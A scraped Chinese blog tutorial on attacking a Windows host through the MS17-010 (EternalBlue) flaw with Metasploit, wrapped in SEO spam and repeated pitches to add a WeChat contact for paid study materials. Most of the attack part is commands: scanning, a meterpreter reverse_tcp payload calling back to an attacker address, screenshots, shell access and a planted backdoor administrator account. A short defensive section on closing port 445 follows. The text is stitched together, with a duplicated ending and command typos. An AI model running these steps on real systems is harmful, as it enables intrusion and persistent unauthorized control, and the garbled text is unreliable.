刷赞网站推广免费链接,全球最好的域名注册公司,网上做设计兼职哪个网站好点,金华市网站建设先自我介绍一下#xff0c;小编浙江大学毕业#xff0c;去过华为、字节跳动等大厂#xff0c;目前阿里P7
深知大多数程序员#xff0c;想要提升技能#xff0c;往往是自己摸索成长#xff0c;但自己不成体系的自学效果低效又漫长#xff0c;而且极易碰到天花板技术停滞…先自我介绍一下小编浙江大学毕业去过华为、字节跳动等大厂目前阿里P7
深知大多数程序员想要提升技能往往是自己摸索成长但自己不成体系的自学效果低效又漫长而且极易碰到天花板技术停滞不前
因此收集整理了一份《2024年最新网络安全全套学习资料》初衷也很简单就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料也有适合3年以上经验的小伙伴深入学习提升的进阶课程涵盖了95%以上网络安全知识点真正体系化
由于文件比较多这里只是将部分目录截图出来全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频并且后续会持续更新
如果你需要这些资料可以添加V获取vip204888 备注网络安全
正文 此状态表示进入MSF框架成功
利用探测漏洞模块 db_status #查看是否进入MSF攻击服务 search ms17_010 #查找探测模块 use auxiliary/scanner/smb/smb_ms17_010 #利用探测模块 show options #查看配置参数 set rhost 192.168.244.133/32 #设置探测主机段 set threads 20 #设置探测线程 run/exploit #执行探测 探测出likely表示可能存在漏洞
利用永恒之蓝模块 use exploit/windows/smb/ms17_010_eternalblue #利用ms17_010永恒之蓝漏洞 set rhost 192.168.244.133 #设置攻击目标IP set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷木马信息 set lhost 192.168.244.136 #设置监听主机IP set lpost 445 #设置监听端口 run/exploit #执行攻击 运行成功后会出现meterpreter
Meterpreter俗称黑客瑞士军刀 想要深入了解可以看以下内容 Meterpreter是Metasploit框架中的一个扩展模块作为溢出成功后的攻击载荷使用。它可以在触发漏洞后返回一个由攻击者控制的通道以便远程执行命令。 Meterpreter的功能丰富例如添加用户、隐藏某些内容、打开shell、获取用户密码、上传和下载远程主机的文件、运行cmd.exe、捕捉屏幕、获取远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。此外Meterpreter可以躲避入侵检测系统在远程主机上隐藏自己不改变系统硬盘中的文件因此HIDS基于主机的入侵检测系统很难对它做出响应。
Meterpreter还可以简化任务创建多个会话利用这些会话进行渗透。在Metasploit Framework中Meterpreter是一种后渗透工具它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的。
Meterpreter作为后渗透模块有多种类型并且命令由核心命令和扩展库命令组成极大的丰富了攻击方式。此外Meterpreter还支持Ruby脚本形式的扩展。
远程查看靶机信息和捕捉屏幕 sysinfo #查看靶机系统信息 getuid #查看靶机用户身份 screenshot #对靶机当前屏幕进行截图 需要注意的是最后一部屏幕截图保存到了根目录下
根目录下受权限保护可能查看不了图片
解决方法有两种改权限或者复制到桌面上 在这里讲的是第二种方法
cp EoiLSMEC.jpeg /home/kali/桌面/flag1.png
进入靶机控制台
shell #进入靶机cmd终端
成功进入靶机C:\Windows\system32路径下
对靶机进行后门植入 #创建新管理员用户 net user baimao 123 /add #将baimao用户加入到本地管理员组当中 net localgroup administrators baimao /add #查看本地管理员组当中的用户成员 net localgroup administrators #查看此路径下的所有文件和目录 dir 与图片中信息相同就代表后门植入成功
exit可以退回meterpreter路径下
查看靶机当前用户
whoami
创建文件夹 mkdir baimao exit可以退出MSF框架
如何防御
开启防火墙 防火墙开启路径 控制面板-系统和安全-Windows 防火墙 禁用靶机139和445端口 查看靶机445端口是否开启 netstat -ant
可以看到445端口是开启状态 禁用靶机445端口路径 控制面板-系统和安全-Windows 防火墙 禁用server服务 winr 运行 输入services.msc 关闭不必要的服务 关闭服务路径 控制面板-系统和安全-Windows 防火墙 根据需要可以选择关闭与否 注册表关闭445端口 winr 运行 输入regedit进入注册表 找到此注册表路径 根据自己系统位数进行修改64位就选择QWORD HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters 重命名为SMBDeviceEnabled 右键-修改-数值数据的值为00代表关闭1代表打开),点击确定,完成设置 。 重启之后查看445端口是否关闭 可以看到445端口已经不见了
安装杀毒软件 360安全卫士与火绒安全软件成功阻止了永恒之蓝 大家想要了解的可以参考下 360安全卫士和火绒安全软件都是知名的电脑安全软件具有多种防护功能。 360安全卫士是一款全面而高效的电脑安全防护软件它拥有强大的查杀能力可以检测和清除电脑中的病毒、木马、恶意程序等安全隐患。同时它还提供了多种实用的功能如实时监控、木马查杀、漏洞修复等可以帮助用户保护电脑安全提高使用体验。 火绒安全软件则是一款以防护为主打功能的电脑安全软件它拥有自主知识产权的新一代反病毒引擎能够检测和分析恶意程序提供全面的防护功能。此外火绒安全软件还拥有钩子扫描功能可以快速扫描指定进程发现潜在的安全风险。 网上学习资料一大堆但如果学到的知识不成体系遇到问题时只是浅尝辄止不再深入研究那么很难做到真正的技术提升。
需要这份系统化的资料的朋友可以添加V获取vip204888 备注网络安全
一个人可以走的很快但一群人才能走的更远不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人都欢迎加入我们的的圈子技术交流、学习资源、职场吐槽、大厂内推、面试辅导让我们一起学习成长
保护电脑安全提高使用体验。 火绒安全软件则是一款以防护为主打功能的电脑安全软件它拥有自主知识产权的新一代反病毒引擎能够检测和分析恶意程序提供全面的防护功能。此外火绒安全软件还拥有钩子扫描功能可以快速扫描指定进程发现潜在的安全风险。 网上学习资料一大堆但如果学到的知识不成体系遇到问题时只是浅尝辄止不再深入研究那么很难做到真正的技术提升。
需要这份系统化的资料的朋友可以添加V获取vip204888 备注网络安全 [外链图片转存中…(img-ey0wfwcA-1713131530950)]
一个人可以走的很快但一群人才能走的更远不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人都欢迎加入我们的的圈子技术交流、学习资源、职场吐槽、大厂内推、面试辅导让我们一起学习成长
